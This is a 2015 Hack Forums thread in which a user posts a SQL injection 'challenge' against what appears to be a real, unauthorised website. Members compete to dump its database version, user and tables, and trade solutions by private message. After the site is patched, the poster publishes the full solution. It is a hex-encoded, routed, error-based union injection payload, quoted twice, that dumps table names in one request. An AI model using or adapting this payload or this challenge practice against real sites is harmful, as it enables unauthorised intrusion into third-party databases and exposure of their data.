+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: sqli challenge 8 (Medium ) (/showthread.php?tid=4645872)
sqli challenge 8 (Medium ) - rootxx - Jan 20, 2015
Url:- hssp :// raphay.com/m/index.php?
POI:: $_post Url=List%2c1
Level :- Medium to Hard
#______Tasks___________
1) Do not change perameters 😠 😠
2) Print Your Leet Name wid version , DB and user.
3) Print Tables.
#______Rules_____ ______
1) Union Based Only ...
2) Don't Reveal Any Shit related to the chall not a single word..
3) Pm me your Queries ...
#______My proof 🤝______
i. imgur. com/ dBvaxZT.png
Solvers
1)
2)
* - DamienVC - Jan 20, 2015
You should rather use [size] and [color] tags
Thread looks LQ
* - rootxx - Jan 20, 2015
(Jan 20, 2015 04:07 AM)DamienVC Wrote: You should rather use [size] and [color] tags
Thread looks LQ
its fine now i think 🤗
35 characters are something osum i love it very much :/
* - DamienVC - Jan 20, 2015
(Jan 20, 2015 04:24 AM)rootxx Wrote: its fine now i think 🤗
35 characters are something osum i love it very much :/
Dont try to bypass the 35 character limit, you'll get warned for that as doing so is against the site policies.
Np, bro.
* - Aakash Choudhary - Jan 20, 2015
Thanks 4 the challenge brother. I PM you the query. Sorry this time i unable to take screenshot. By the way nice challenge 🤝
* - rootxx - Jan 20, 2015
(Jan 20, 2015 05:39 AM)Aakash Choudhary Wrote: Thanks 4 the challenge brother. I PM you the query. Sorry this time i unable to take screenshot. By the way nice challenge 🤝
DO not change parameter 😠 😠
read the rules again
sorry solution not accepted
* - benzi - Jan 20, 2015
are you sure its still vuln? i dont get any error. 🙂
* - rootxx - Jan 20, 2015
(Jan 20, 2015 07:04 AM)benzi Wrote: are you sure its still vuln? i dont get any error. 🙂
yes good catch master 🤝
its patched
😭 😭
challenge closed else it was fucking fantastic challenge 🤗
* - benzi - Jan 20, 2015
(Jan 20, 2015 09:55 AM)rootxx Wrote: yes good catch master 🤝
its patched
😭 😭
challenge closed else it was fucking fantastic challenge 🤗
post the solution here, for those who couldnt solve it, like Aakash Choudhary, could learn.
* - rootxx - Jan 21, 2015
yes sure
here it is
basically it was a routed sqli with embeded error based dios here is my query
url=List,1' union select 0x312720616e642873656c6563742821726f6f742d7e302966726f6d2873656c6563742f2a2a2f636f6e6361745f77732830783230323033613361336132302c3078336336363666366537343230363336663663366637323364373236353634336533633632373233653732333036663734343034383333353833343339323037633763323037323666366637343738373832303363363636663665373432303633366636633666373233643637373236353635366533652c76657273696f6e28292c646174616261736528292c7573657228292c3078336336363666366537343230363336663663366637323364363236633735363533652c403a3d302c2873656c65637420636f756e74282a292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e6420403a3d636f6e6361742f2a2a2f28402c307833633663363933652c7461626c655f6e616d6529292c4029726f6f74297a29616e642f2a2a2f2731;%00
* - benzi - Jan 21, 2015
(Jan 21, 2015 06:12 AM)rootxx Wrote: yes sure
here it is
basically it was a routed sqli with embeded error based dios here is my query
url=List,1' union select 0x312720616e642873656c6563742821726f6f742d7e302966726f6d2873656c6563742f2a2a2f636f6e6361745f77732830783230323033613361336132302c3078336336363666366537343230363336663663366637323364373236353634336533633632373233653732333036663734343034383333353833343339323037633763323037323666366637343738373832303363363636663665373432303633366636633666373233643637373236353635366533652c76657273696f6e28292c646174616261736528292c7573657228292c3078336336363666366537343230363336663663366637323364363236633735363533652c403a3d302c2873656c65637420636f756e74282a292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e6420403a3d636f6e6361742f2a2a2f28402c307833633663363933652c7461626c655f6e616d6529292c4029726f6f74297a29616e642f2a2a2f2731;%00
seems nice, sorry i missed it.
btw, i saw you solved sn00py challs.
wanna trade solutions?
* - rootxx - Jan 22, 2015
yes sure master can i have the link in pm ?
* - Aakash Choudhary - Jan 23, 2015
Brother thanks for the solution. (Y). 🤝